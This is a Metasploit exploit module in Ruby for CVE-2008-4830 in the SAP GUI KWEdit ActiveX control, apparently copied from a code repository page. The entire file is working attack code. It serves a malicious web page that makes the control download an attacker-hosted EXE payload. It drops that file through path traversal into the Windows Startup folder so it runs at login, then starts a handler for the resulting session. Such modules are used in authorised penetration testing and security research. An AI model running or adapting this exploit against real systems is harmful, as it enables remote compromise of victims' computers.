99 lines
2.7 KiB
Ruby
99 lines
2.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download',
|
|
'Description' => %q{
|
|
This module allows remote attackers to place arbitrary files on a users file system
|
|
by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4830'],
|
|
[ 'OSVDB', '53680'],
|
|
[ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048,
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 15 2009'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
|
|
], self.class)
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
payload_url = "http://"
|
|
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
|
|
|
|
if (request.uri.match(/payload/))
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
data = generate_payload_exe({ :code => p.encoded })
|
|
print_status("Sending EXE payload")
|
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
|
return
|
|
end
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
exe = rand_text_alpha(rand(20) + 1)
|
|
|
|
content = %Q|
|
|
<html>
|
|
<head>
|
|
<script>
|
|
try {
|
|
var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');
|
|
#{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe");
|
|
} catch( e ) { window.location = 'about:blank' ; }
|
|
</script>
|
|
</head>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
send_response_html(cli, content)
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
end
|